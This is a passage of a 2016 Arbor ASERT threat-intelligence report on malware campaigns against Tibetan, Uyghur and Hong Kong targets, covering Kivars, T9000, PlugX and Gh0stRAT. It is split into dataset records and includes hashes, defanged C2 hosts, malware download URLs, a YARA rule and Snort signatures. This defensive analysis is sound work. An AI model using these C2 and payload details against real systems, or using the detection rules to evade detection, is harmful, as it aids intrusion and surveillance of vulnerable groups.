Chinese-based operating system designed to compete with iOS and Android [23]. Pivoting on aspects of this sample returns other potentially interesting samples: MD5 937c13f5915a103aec8d28bdec7cc769 uses a C2 of 203.160.247[. ]21:443 o ASN 10126 203.160.247.21 TW CHTI-IP-AP Taiwan Internet Gateway,TW o This C2 IP address is also found in a Kivars service binary (MD5: 19b2ed8ab09a43151c9951ff0432a861, SHA-256: 9d69221584a5c6f8147479282eae3017c2884ae5138d3b910c36a2a38039c776) MD5: b2ae8c02163dcee142afe71188914321 uses wins.microsoftmse[. ]com for C2. o This sample was submitted to Virus Total in October of 2014 from Taiwan. Samples discovered so far are triggering an AV detection of Kivars, which has been written about by Trend in 2014 [24]. One particular sample first submitted to Virus Total in 2013 and discovered via a Yara retrohunt, has the following properties: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 19 MD5: 0566703ccda6c60816ef1d8d917aa7b0 SHA-256: 766e0c75bb13986f6a18f9f6af422dbda8c6717becc9b02cc4046943a960d21f This sample once connected to adc.microsoftmse[. ]com (122.10.9[. ]121), resolving to an IP address in Hong Kong. This resolution only appears to have taken place on 7-6-2013 and was associated with the bifrose Trojan and also correlates with Shrouded Crossbow activity. Numerous other domains resolving to this IP were also observed to be part of Shrouded Crossbow infrastructure. The domain microsoftmse[. ]com currently points to Microsoft address space, but was used by threat actors in the past. Further details on Operation Shrouded Crossbow were published by Trend Micro in December of 2015 [22] and reveals the use of the Bifrose and Kivars Trojans and the relationship between the two Kivars appears to have re-used at least some parts of the Bifrose code. [ 25] Submitting one of the DLLs to Virus Total results in predictable scan results, and pivoting on the import hash results in the discovery of several more samples of the Kivars service. Scanning Virus Total indicates numerous recent detections of Kivars. Many of the discovered Kivars service files have been submitted in January and February of 2016, indicating a new wave of activity and/or detection. A YARA rule to detect instances of Kivars running as a service is included herein. Service files are distinct and can be analyzed directly, but scanning of memory could also be useful in the event that Kivars becomes more highly obfuscated. rule kivars_service meta: description Detects instances of Kivars malware when installed as a service author cwilsonarbor.net SHA-256 443d24d719dec79a2e1be682943795b617064d86f2ebaec7975978f0b1f6950d SHA-256 44439e2ae675c548ad193aa67baa8e6abff5cc60c8a4c843a5c9f0c13ffec2d8 SHA-256 74ed059519573a393aa7562e2a2afaf046cf872ea51f708a22b58b85c98718a8 SHA-256 80748362762996d4b23f8d4e55d2ef8ca2689b84cc0b5984f420afbb73acad1f SHA-256 9ba14273bfdd4a4b192c625d900b29e1fc3c8673154d3b4c4c3202109e918c8d SHA-256 fba3cd920165b47cb39f3c970b8157b4e776cc062c74579a252d8dd2874b2e6b strings: s1 \\Projects\\Br2012\\Release\\svc.pdb s2 This is a flag s3 svc.dll s4 ServiceMain s5 winsta0 condition: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 20 Proprietary and Confidential Information of Arbor Networks, Inc. uint16(0) 0x5A4D and filesize 1000000 and (all of (s)) Interestingly, all of these Kivars service files listed in the YARA rule have the same compilation date of 2013- 11-2000:26:30. Some AV detection that appears to be reasonably accurate includes BKDR_KIVARS.SMV0 (Trend) and Win32/Agent. XUI Trojan (ESET).
243
27 IOCs C2: 198.55.120[.
51,358
51,388
31
data/reports_final/0243.txt
27 IOCs C2: 198.55.120[. ]143 TCP/7386 and/or TCP/8080 MD5 (RTF): da97c88858214242374f27d32e27d957 MD5 (E804.tmp): e4e8493898d94f737ff4dc8fab743a4a MD5 (bait file): 9ae498307da6c2e677a97a458bff1aea SHA-256 (RTF): 647b443ecaa38d2834e5681f20540fa84a5cf2b7e1bee6a2524ce59783cb8d1b SHA-256 (E804.tmp: 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA-256 (bait file): 4f1784a4e4181b4c80f8d77675a267cbdd0e35ea1756c9fdb82294251bef1d28 Connections to Historical and Ongoing Threat Campaign Activity Observation of the sample suggests that the C2 is 198.55.120[. ]143 on TCP/7386. This IP and port was observed in two other samples in this campaign/engagement. Automated analysis of the configuration itself suggests that the C2 port is TCP/8080 however. Further investigation is required to determine the reason for the discrepancy. Connecting to TCP/8080 of this C2 with a browser results in the download of a file called download with an MD5 hash of e1269c22ad1e057b9c91523498b4b04d and a SHA-256 hash of b9914fb8c645e0c41d497db303c1ffa594da709686252fccb8d28dffac86275b. This file is delivered to the user after the user presents an HTTP GET. Connecting to this port with telnet and manually issuing a GET results in the delivery of nine bytes from the server. The server then appears to wait for a response. These nine bytes contain the ASCII text eueuX_. There are unprintable characters present however, including 0x05, 0x1b, and 0x12 as seen in this hexdump: 65 75 65 75 05 1b 12 58 5f eueu...X_ The same GET connection used on TCP/8080 can also be used on 8088/tcp and 8089/tcp on this particular C2 to obtain the same response consisting of the exact same sequence of bytes. It is possible that this server is configured to support multiple campaigns, multiple actor groups, or there may be some other explanation. Awareness of this responsive pattern could provide for a potentially useful method to fingerprint a T9000 C2. This communication pattern has been observed in the wild at least as far back as 2014-03-25 21:06:19 UTC, when someone submitted a sample of this byte sequence to Virus Total (MD5: e1269c22ad1e057b9c91523498b4b04d). This C2 IP address is clearly of interest since it has been used by several samples uncovered in this engagement. Some basic analysis of the C2 reveals the following open ports (filtered ports have been removed from this list). The ports in bold appear to be associated the server-side component of T9000 in this instance: PORT STATE SERVICE 80/tcp open http 554/tcp open rtsp 1028/tcp open unknown ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 28 Proprietary and Confidential Information of Arbor Networks, Inc. 1433/tcp open ms-sql-s 3389/tcp open ms-wbt-server 7070/tcp open realserver 8080/tcp open http-proxy 8088/tcp open radan-http 8089/tcp open unknown 9000/tcp open cslistener 22779/tcp open unknown 22790/tcp open unknown 47001/tcp open unknown Connecting to the Remote Desktop port on the server gives us a sense of the language in use on the server. Targeted Exploitation 8: T9000 Tibetan Protester Theme The malicious RTF file, using the name One Tibetan Protester is Freed, Two Others Are Jailed.doc was first observed in the wild on 2015-12-31 05:34:17 and submitted for analysis to Virus Total from India. The RTF document exploits CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641. This document has been determined to drop the T9000 backdoor malware based on the presence of a URL pointing to the previously discovered T9000 C2 string (http://198.55.120[. ]143:7386/B/ResN32.dll). The insightful T9000 report from Palo Alto Networks describes this ResN32.dll file as a Malicious DLL. Decrypts, decompresses, and loads core malware. Other obvious strings are present such as the PDB string D:\WORK\T9000\N_Inst_User_M1\Release\N_Inst_User32.pdb and many other clear T9000 artifacts. With regards to the bait file One Tibetan Protester is Freed, Two Others Are Jailed.doc, we can see that it was copied from a website. A news item from December 4, 2015 was posted on Radio Free Asia [30] using this exact Tibetan Protester document title. The webpage from Radio Free Asia is seen on the left below and the bait file that appears to have been built from the website is on the right. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 29 The bait file document metadata indicates that it was created and modified by HighSea on 12/31/2015, the same day that the file was uploaded to Virus Total and the same day other threat activity was observed against the Tibetan community. The name HighSea appears in other malicious document metadata profiled within this report.
244
IOCs C2: 198.55.120[.
51,389
51,457
69
data/reports_final/0244.txt
IOCs C2: 198.55.120[. ]143 tcp/7386 MD5 (malicious RTF): facd2fbf26e974bdeae3e4db19753f03 MD5 (T9000, BC29.tmp): e4e8493898d94f737ff4dc8fab743a4a Bait filename (tmp.doc): One Tibetan Protester is Freed, Two Others Are Jailed.doc MD5 (tmp.doc): 751196ce79dacd906eec9b5a1c92890b SHA-256: (malicious RTF): 1140e06fa8580cf869744b01cc037c2d2d2b5af7f26f5b3448d9a536674d681c ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 30 Proprietary and Confidential Information of Arbor Networks, Inc. SHA-256 (T9000, BC29.tmp): 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c SHA-256 (tmp.doc): 76d54a0c8ed8d9a0b02f52d2400c8e74a9473e9bc92aeb558b2f4c894da1b88f Connections to Historical and Ongoing Threat Campaign Activity This sample uses the same C2 that has been observed in the other T9000 samples analyzed herein. Targeted Exploitation 7 incident in this report features some assessment of the C2 itself to determine additional information about the actors and to generate other IOCs. Targeted Exploitation 9: Agent. XST and other malware This RTF document, exploiting CVE-2012-0158, CVE-2012-1856 and CVE-2015-1641, was observed using the name 2016.doc, which roughly translates in English to Prediction of the 2016 presidential election people center value. Doc. First submitted from the USA on 1/7/2016 to Virus Total. The bait file in use contains the following text: A rough translation to English reveals election related content: Office file metadata indicates when the document was created (1/6/2016 5:41 PM) and a less than helpful value of User for the author. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 31 A batch file dropped by the malware, named wget.bat, contains the following PowerShell code: The Powershell code runs a minimized instance of wget.exe (also dropped by the malware) and attempts to obtain a file named wthk.txt from a server in Taiwan, which is then stored as whtk.exe locally. In this case, the wthk.txt file was no longer available on the download site (www.kcico.com[. ]tw/data/openwebmail/doc/wthk.txt) but was obtained through other means. The file wthk.txt is the same malware family (Sample 3) discussed in the Uncovering the Seven Pointed Dagger paper (referred to as 7PD). In the case of 7PD, this malware (appears to be a keylogger) was originally stored inside a file named Security-Patch-Update333.rar. Readers are encouraged to refer to the 7PD paper at http://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief- 2015-08-Uncovering-the-Seven-Point-Dagger.pdf for full details. Execution of the malware results in the creation of suspicious network traffic. The initial connection to the C2 triggers an Emerging Threats signature ET TROJAN Win32/Agent. XST Checkin: alert http HOME_NET any - EXTERNAL_NET any (msg:ET TROJAN Win32/Agent. XST Checkin flow:established,to_server content:POST http_method content:Referer3a http_header content:Accept3a http_header content:Content-Type3a 20text/html0d 0a http_header content:this is UP depth:10 http_client_body fast_pattern content:00 00 00 00 http_client_body reference:md5,d579d7a42ff140952da57264614c37bc reference:url,asert.arbornetworks.com/wp- content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-Uncovering-the-Seven-Pointed- Dagger.pdf classtype:trojan-activity sid:2022362 rev:2) The keep-alive packet generated from the compromised host to the C2 triggers the Emerging Threats signature ET TROJAN Win32/Agent. XST Keepalive: alert tcp HOME_NET any - EXTERNAL_NET any (msg:ET TROJAN Win32/Agent. XST Keepalive flow:established,to_server content:POST20 depth:5 content:.asp20HTTP/1. distance:0 content:Referer3a distance:0 content:Accept3a distance:0 content:Content-Length3a 2020d 0a distance:0 fast_pattern content:Content- Type3a 20text/html0d 0a content:0d 0a 0d 0aok distance:0 threshold: type limit, count 1, seconds 60, track by_src reference:md5,d579d7a42ff140952da57264614c37bc reference:url,asert.arbornetworks.com/wp-content/uploads/2016/01/ASERT-Threat- Intelligence-Brief-Uncovering-the-Seven-Pointed-Dagger.pdf classtype:trojan-activity sid:2022363 rev:2) The malware activity from this sample is very similar to the sample discussed in 7PD. Since new findings are available and this family has not been profiled with much depth, the details are as follows: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 32 Proprietary and Confidential Information of Arbor Networks, Inc. MD5 (wthk.txt) d579d7a42ff140952da57264614c37bc (First seen on Virus Total 2016-01-08) Wthk.txt is a binary signed by Binzhoushi Yongyu Feed Co.,LTd The certificate was valid from 1/17/2014 1/18/2016. These valid dates are exactly one day after the valid dates for the certificate used in aforementioned sample 3, which was valid from 1/16/2014 1/17/2016. Execution of this malware creates an Internet Explorer folder that contains the following files: MD5 (conhost.exe) f70b295c6a5121b918682310ce0c2165 (same binary as 7PD sample) Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is signed by SANDBOXIE L.T.D. ASERT has five instances of this file being used in malware operations. Additionally, analysis of the files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 15 instances of the same or slightly modified file being used in various PlugX operations since at least 2013. This file imports functions from SBIeDll.dll. MD5 (SBieDll.dll) f80edbb0fcfe7cec17592f61a06e4df2 This DLL exports SbieApi_Log, SbieDLL_Hook(x,x,x) and DllEntryPoint. This DLL file is sideloaded by conhost.exe, which imports SbieApi_Log. The file maindll.dll is loaded via LoadLibaryW. The sample checks for the presence of a mutex EDD4DB6D-E8E0-42ae-A47B- 021DC227E2FA with OpenMutexW and does not load maindll.dll if the mutex is already set. If maindll.dll is loaded successfully, then a string load maindll ok is pushed to the stack, followed by a call to GetProcAddress for the process name sbie_info. If this is successful, then another string get work fun ok is pushed to the stack. If this is not successful then the string get work fun error is instead pushed to the stack. This file contains the PDB string Y:/UDPSbieDLL/Release/SBieDLL.pdb. Unlike the previously observed version of this file mentioned in 7PD, this particular sample does not appear to be packed or otherwise obfuscated. MD5 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 Based upon the filename, this may be an XOR-ed DLL file. Additional analysis is ongoing. MD5 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 This binary is obfuscated, likely with ASPack v2.12, and requires further analysis. The compilation date on this binary is 0x54A93AD9 (Sun Jan 04 07:06:33 2015) MD5 (nvsvc.exe) e0eb981ad6be0bd16246d5d442028687 This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network Tech Co.,LTD from the city of Zhongshan, Guangdong province, China on November 12, 2014 at 9:01:58 PM (CN Square Network Tech Co.,LTD (O Square Network Tech Co.,LTD. L Zhongshan, S Guangdong, C CN). The digital signature contains an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string Microsoft Windows Shell explorer https:www.trustasia.com and was valid from Feb 21, 2014 Feb 22, 2015. Trustasia.com is a digital certificate provider in Shanghai, China. File references conhost.exe, dll2.xor, maindll.dll, SbieDll.dll, HOOK.DLL, and itself. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 33 MD5 (runas.exe) 6a541de84074a2c4ff99eb43252d9030 This file contains a jump table with 7 cases, each leading to one of the five files dropped by the malware, with two additional files referenced that are not present: HOOK.DLL and mon. While a full analysis is still in process, some interesting elements from the aforementioned files include the presence of several resources inside the nvsvc.exe file. Resource 100 appears on the left, and resource 102 on the right. These may be default resources for some application, however their presence may be an indicator. The SbIEDll.dll file uses a tactic similar to what was used in an older instance of PlugX whereby a fake exported function is used [31]. While both a legitimate instance of SbieDll. DLL and this malicious version have an export address table entry for SbieApi_Log, the malicious version implements a function that basically does nothing other than setting the EAX register to 1. A legitimate instance of the function is displayed on the left, while the malicious DLLs instance of the function is displayed on the right. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 34 Proprietary and Confidential Information of Arbor Networks, Inc. Once the wthk.txt file is downloaded by PowerShell, the dropped file fuso.exe is executed. The binary named fuso.exe is a very simple binary that appears to execute another application named Keyainst.exe: Unfortunately, Keyainst.exe was not available during this analysis. Connections to Historical and Ongoing Threat Campaign Activity A recently published (March 17, 2016) blog by Michael Yip of PWC Taiwan Presidential Election: A Case Study on Thematic Targeting [32] also discusses aspects of this sample and reveals that it was used in targeted ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 35 exploitation attempts upon a Hong Kong activist and a politician. In this case, malware being called SunOrcaland Surtr were involving in using the same URL path for the malware download observed here (www.kcico.com[. ]tw/data/openwebmail/doc/wthk.txt) and pivots from these samples revealed connections to activity as early as 2010 associated with the targeting of Tibet and Hong Kong. Pivoting on the mutex checked by the SbIEDll.dll binary results in the discovery of malware analyzed in 2013 (MD5: 983333e2c878a62d95747c36748198f0) using the filename .docx which roughly translates to List of Chinese National Security Council staff early exposure settings and .docx that is using exploit code for CVE-2013-3906. Additional pivots can provide other insight. The C2 is 59.188.12[. ]123 TCP/8008, located in Hong Kong. Passive DNS reveals that this IP address has been used by the dynamic DNS domain yeaton.xicp[. ]net from 2016-01-08 23:50:44 until at least 2016-03-30 (resolution appears to be ongoing). In 2012 forum posts, the domain yeaton.xicp[. ]net was used in advertising for a VPN service in China that claims to be able to bypass the great firewall. While 2012 is a long time ago, it is possible that the threat actor is using a VPN service.
245
IOCs C2: 59.188.12[.
51,458
51,524
67
data/reports_final/0245.txt
IOCs C2: 59.188.12[. ]123 TCP/8008 MD5 (RTF): 09ddd70517cb48a46d9f93644b29c72f MD5 (tmp.doc): e6ad959a18725954a56a7954d3f47671 MD5 (RAR): d8becbd6f188e3fb2c4d23a2d36d137b MD5 (iuso.exe): 07eb4867e436bbef759a9877402af994 MD5 (wget.bat): 47e60e347b5791d5f17939f9c97fee01 MD5 (wget.exe): f9f8d1c53d312f17c6f830e7b4e6651d MD5 (wthk.txt): d579d7a42ff140952da57264614c37bc MD5 (conhost.exe): f70b295c6a5121b918682310ce0c2165 MD5 (SBieDll.dll): f80edbb0fcfe7cec17592f61a06e4df2 MD5 (dll2.xor): ce8ec932be16b69ffa06626b3b423395 MD5 (maindll.dll): d8ede9e6c3a1a30398b0b98130ee3b38 MD5 (nvsvc.exe): e0eb981ad6be0bd16246d5d442028687 MD5 (runas.exe): 6a541de84074a2c4ff99eb43252d9030 SHA-256 (RTF): 41d05788d844b59f8eb79aeb2060dd5b7bdcad01e8d720f4b8b80d552e41cfe2 SHA-256: (tmp.doc): f0b5336b6f890e2029ac242ad2b613cad535828f7b7004a2284683f3195b7616 SHA-256 (RAR): ddc05b9f39f579f64742980980ca9820b83a243889bbc5baa37f5c2c1c4beb30 8EC7.tmp SHA-256 (iuso.exe) cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082 SHA-256 (wget.bat): 9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692 SHA-256 (wget.exe): bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749 SHA-256 (wthk.txt): 5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d SHA-256 (conhost.exe): 4849af113960f473749acf71d11d56854589cf21d623e66c7408bebd5ad0608f SHA-256 (SbieDll.dll): 2ac69633da711f244377483d99fac53089ec6614a61d8a1492a0e7228cbb8ffd SHA-256 (dll2.xor): c3fee1c7d402f144023dade4e63dc65db42fc4d6430f9885ece6aa7fa77cade0 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 36 Proprietary and Confidential Information of Arbor Networks, Inc. SHA-256 (maindll.dll): 5838582ea26312cc60b43da555189b439d3688597a705e3a52dc4d935517f69d SHA-256 (nvsvc.exe): ec05e37230e6534fa148b8e022f797ad0afe80f699fbd222a46672118663cf00 SHA-256 (runas.exe): 5b34b3365eb6a6c700b391172849a2668d66a167669018ae3b9555bc2d1e54ab File creation: conhost.log File creation: keylog File creation: srvlic.dll File creation: up.dat File creation: xx1.tmp File creation: xx2.tmp File creation: xx3.tmp File creation: xx4.tmp File creation: xx5.tmp File creation: xx6.tmp Targeted Exploitation 10: PlugX, Tibetan theme The original filename is HUMAN RIGHTS SITUATION IN TIBET.doc. The bait file is originally horizontal, but has been rotated for the sake of readability, and consists of the first two pages apparently from a document published by the Tibetan Center for Human Rights and Democracy called HUMAN RIGHTS SITUATION IN TIBET: The metadata for the Word bait file shows a February 2016 timeframe and the user member0975. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 37 The PlugX malware configuration is as follows: After exploitation, a DNS query for www.whitewall[. ]top resolves to 118.193.240[. ]195. Next, the compromised host initiates traffic to the IP on UDP/8080 followed by traffic to UDP/995. Extracting the URL from memory reveals http://www.whitewall.top[:]8080/850D3011FA326CBB6F57A965 and http://www.whitewall[. ]top:995/5724DD3DCC4A19E8416E5691. A small (2KB) file named skljxpikxzp (likely a random name) appeared on the compromised system after about an hour. This file was not examined in depth and appears encoded. An instance of msiexec.exe appears to have been spawned from svchost.exe that is related to this file. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 38 Proprietary and Confidential Information of Arbor Networks, Inc. IOCs C2: www.whitewall[. ]top UDP/8080 C2: www.whitewall[. ]top UDP/995 MD5 (RTF): ee49bd5f35cc3012b5b606aca9b0f561 MD5 (fsguidll.exe): 2d7a648ebe64e536944c011c8dcbb375 MD5 (fslapi.dll): 13d3d0699562a57cf575dd7f969b3141 MD5 (fslapi.dll.gui): 894c251a3aad150f80a8af2539baf9d1 MD5 (ufbidruosivibuted): caefdd6ca90ff791cdeff9313136972e MD5 (PlugX): 103873e3fa8dfc2360bb5c22761da04a SHA256 (RTF): 58f8a906b49711d2a6aaed0b59e1c1b7fcf5757666e0567fe50e996bfe0a4589 SHA-256 (fsguidll.exe): 5c5e3201d6343e0536b86cb4ab0831c482a304c62cd09c01ac8bdeee5755f635 SHA-256 (fslapi.dll): 2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083 SHA-256 (fslapi.dll.gui): dc4dac22d58ed7c0cadb13a621f42cb9a01851385ca0dc5b94a73c91677a0739 SHA-256 (ufbidruosivibuted): a78ea84acf57e0c54d5b1e5e3bd5eec31cc5935f16d9575e049e161420736e32 SHA256 (PlugX): 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 Connections to Historical and Ongoing Threat Campaign Activity www.whitewall[. ]top resolves to 118.193.240[. ]195 at the time of this writing and appears to be hosted within a /24 netblock (ASN 58879) belonging to the ANCHNET Shanghai Anchang Network Security Technology Co. Ltd in China. Passive DNS reveals several recent resolutions (that continue as of this writing): Domain First Seen Last Seen www.turkistanuyghur.top 2016-03-01 18:31:40 2016-03-18 12:30:17 www.yawropauyghur.top 2016-03-01 18:31:56 2016-03-18 01:30:12 www.whitewall.top 2016-03-01 18:31:49 2016-03-18 01:30:07 www.japanuyghur.top 2016-03-01 18:30:49 2016-03-18 01:29:06 www.hotansft.top 2016-03-17 01:28:56 2016-03-18 01:29:03 www.amerikauyghur.top 2016-03-01 01:28:05 2016-03-18 01:28:22 www.yawropauyghur.top 2016-02-26 18:32:50 2016-03-17 05:13:12 www.turkistanuyghur.top 2016-01-21 21:26:13 2016-03-17 05:13:11 www.whitewall.top 2016-02-18 22:00:00 2016-03-17 05:13:11 www.hotansft.top 2016-02-29 20:46:10 2016-03-17 05:13:06 www.japanuyghur.top 2016-01-19 05:37:55 2016-03-17 05:13:06 www.amerikauyghur.top 2016-02-17 14:49:44 2016-03-17 05:13:00 www.yawropauyghur.top 2016-02-27 01:29:14 2016-02-29 12:30:37 www.whitewall.top 2016-02-19 01:29:39 2016-02-29 12:30:36 www.turkistanuyghur.top 2016-02-01 01:26:48 2016-02-29 12:30:24 www.japanuyghur.top 2016-02-01 01:26:00 2016-02-29 12:29:30 www.amerikauyghur.top 2016-02-18 01:26:33 2016-02-29 01:27:14 www.yawropauyghur.top 2016-02-29 00:00:00 2016-02-29 00:00:00 www.whitewall.top 2016-02-24 00:00:00 2016-02-24 00:00:00 www.amerikauyghur.top 2016-02-17 00:00:00 2016-02-17 12:55:26 turkiyeuyghur.com 2015-12-09 06:33:09 2016-02-16 22:49:35 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 39 www.turkistanuyghur.top 2016-01-22 01:26:09 2016-01-31 01:26:41 www.japanuyghur.top 2016-01-19 00:00:00 2016-01-31 01:25:57 turkiyeuyghur.com 2015-12-08 09:59:30 2015-12-31 22:19:55 The interest in Uyghurs is noted, with Uyghur themed domains being created from December 8, 2015. An interest in Uyghurs is potentially consistent with past threat activity in terms of targeting, although further investigation was not performed. The presence of a PlugX C2 among other Uyghur themed domains suggests there may be additional threat activity to be discovered. Moving away from domain pivots into binary naming schemes, this particular instance of PlugX uses a binary that contains a service description of F-Secure GUI componet service. At least three other PlugX samples use the same service description. These three samples have the following properties: Sample 1: MD5: 533cd66cf420e8919329ee850077319c SHA256: 0ba814941a0adb344cbf2a90552a66b52faa99a24d3107735da1db5a0e1f8360 Sample 2: MD5: e327abcfd09be4e8f64ef35026309747 SHA256: 8b6ef2f4e2af608c755b3114e98ab78ac89e089db5b0bece7f2dc68bd1026a78 Sample 3: MD5: 103873e3fa8dfc2360bb5c22761da04a SHA256: 40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 Of these, sample 3 also contains the exact same C2 auth string of 33333. Assuming at least some of these values are manually input into the malware builder application, we may consider the possibility of a relationship between these samples that could warrant further investigation. Targeted Exploitation 11: Gh0stRAT (LURK0), PlugX, Other Malware This is an instance of Gh0stRAT modified to use the string LURK0 instead of Gh0st when traffic is initiated to the C2. This malicious RTF only appears to exploit CVE-2015-1641, despite the document matching on the Four Element Builder kit. When the malware executes, it launches a hidden Internet Explorer instance and injects into the instance with WriteMemory and CreateRemoteThread process injections: WRITE_MEMORY 0x00140000 [0x0000005c bytes] [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] CREATE_REMOTE_THREAD 0x7c80aedb [PID: 1076] [C:\Program Files\Internet Explorer\iexplore.exe] The injected instance of Internet Explorer starts with a current directory of AppData\Roaming\Micbt. This folder was created by the malware. The malware then initiates a DNS query for manhaton.123nat[. ]com, ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 40 Proprietary and Confidential Information of Arbor Networks, Inc. which at analysis time resolved to 122.10.112[. ]126. The C2 port appears to be TCP/8030, but was not responding during analysis. An ASN lookup reveals that the C2 is in China or Hong Kong: 133731 122.10.112.126 CN TOINTER-AS-AP Royal Network Technology Co., Ltd. in Guangzhou,CN 134121 122.10.112.126 CN RAINBOW-HK Rainbow network limited,HK The LURK0 variant of Gh0stRAT is well documented and has been used against the Tibetan community and others for years [33] [34] [35]. Network activity appears as such, with the telltale LURK0 string appearing at the start of the packet. The following network-based alerts can notify organizations of Gh0stRAT LURK0 variant traffic: [2016922] ET TROJAN Backdoor family PCRat/Gh0st CnC traffic [2021716] ET TROJAN Backdoor family PCRat/Gh0st CnC traffic (OUTBOUND) 101 [2808814] ETPRO TROJAN Backdoor family PCRat/Gh0st CnC Response IOCs C2: manhaton.123nat[. ]com C2: 122.10.112[. ]126 TCP/8030 MD5 (90t69cf82.dll): 86ebcbb3bdd8af257b52daa869ddd6c1 MD5 (RTF): b51dd4d5731b71c1a191294466cc8288 MD5 (B412.tmp): 111273c8cba88636a036e250c2626b12 MD5 (tmp.doc): e538ad13417b773714b75b5d602e4c6e - recognized as Gh0stRAT MD5 (Micbt/BTFly.dump): f7c04e8b188fa38d0f62f620e3bf01dc MD5 (Micbt/CltID.ini): 54afa267dd5acef3858dd6dbea609cd9 MD5 (Micbt/IconConfigBt. DAT): 516774cb0d5d56b300c402f63fe47523 MD5 (Micbt/MemoryLoad.dump): db0f8ba69aa71e9404b52d951458b97c MD5 (Micbt/RasTls.dll): 1e9e9ce1445a13c1ff4bf82f4a38de0d MD5 (Micbt/RasTls.exe): 62944e26b36b1dcace429ae26ba66164 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 41 SHA-256 (90t69cf82.dll): afd0eae5065a689f8fc48c0cfc5b87f4caecc2fb6b1cef4c5e977fc2cc98509d SHA-256 (RTF): a0da9887b4c5af009a41b783db7ffedf949013abc70777c0ec539299628a51eb SHA-256 (B512.tmp): cdb1d2f843ce797084cfc90107a2582e4861f4051aab0f6ac374468f491232a5 SHA-256 (tmp.doc): aecd3e146632e9dfa0a92f486855144df0f87181feb67ac414a618fd52960c8c SHA-256 (Micbt/BTFly.dump): 3b828a81ff5b0766c99284524b18fcd10d553191741bc1ed89904cdaa79baae1 SHA-256 (Micbt/CltID.ini): 1590a42e67fe02892dfeb6f29e0e6ae91c503d4ea91b550557c513e92f5ac7eb SHA-256 (Micbt/IconConfigBt. DAT): 0a47bd32b83f09be1ea5a29dce6b7d307de7b3cdd69f836e0c810fd578f85c7c SHA-256 (Micbt/MemoryLoad.dump): aace766acea06845c29b306a9e080edcb3407635398007f3b9b5e053198b54f4 SHA-256 (Micbt/RasTls.dll): bc2f7ebcad10aa48a69680f14fc57434436b821d5e7f2666a0f6d8795b0d37d1 SHA-256 (Micbt/RasTls.exe): f9ebf6aeb3f0fb0c29bd8f3d652476cd1fe8bd9a0c11cb15c43de33bbce0bf68 Some potentially useful Unicode strings are present inside the RasTls files: Unicode Strings: ProgramFiles kernel32.dll SeDebugPrivilege Install SOFTWARE\Microsoft\Windows\DbxUpdateBT SOFTWARE\Microsoft\Windows\ \dtdcfd.dll \MemoryLoad.dump \IconConfigBt. DAT case 0 case 1 Get into InjectProMain ProgramFiles\Internet Explorer\iexplore.exe The iexplore.exe process (that was the target of process injection) loads the 90t69cf82.dll binary that the malware also dropped. Connections to Historical and Ongoing Threat Campaign Activity ASERT has ten other instances of Gh0stRAT, LURK0 version in our malware repository. Passive DNS pivots on the IP address associated with manhaton.123nat[. ]com (122.10.112[. ]126) reveals several other potentially interesting domains that have used this IP including: softinc[. ]pw and www.tibetimes[. ]com. It is interesting to note that this tibetimes.com domain may have been an attempt to spoof the domain www.tibettimes.net. Passive DNS shows a lot of activity, including relationships to Uyghur based domains. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 42 Proprietary and Confidential Information of Arbor Networks, Inc. Domain name First seen Last seen www.tibetimes.com 2015-12-01 02:04:24 2015-12-04 01:25:34 softinc.pw 2015-11-01 06:43:26 2015-11-30 18:57:21 An email address associated with these domains is lobsang[]gmx.com and another is 2732115454[]qq.com. The IP and these mail addresses associate with Uyghur and Tibetan themed domains as shown here: The following diagram zooms in on the Uyghur-based domain names highlighting the connection between this Gh0stRAT sample domain metadata and other activity observed, such as the domain whitewall[. ]top used in the PlugX configuration previously mentioned. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 43 Additional investigations are underway to determine the scope of the particular threat herein. Targeted Exploitation 12: T9000 Malware 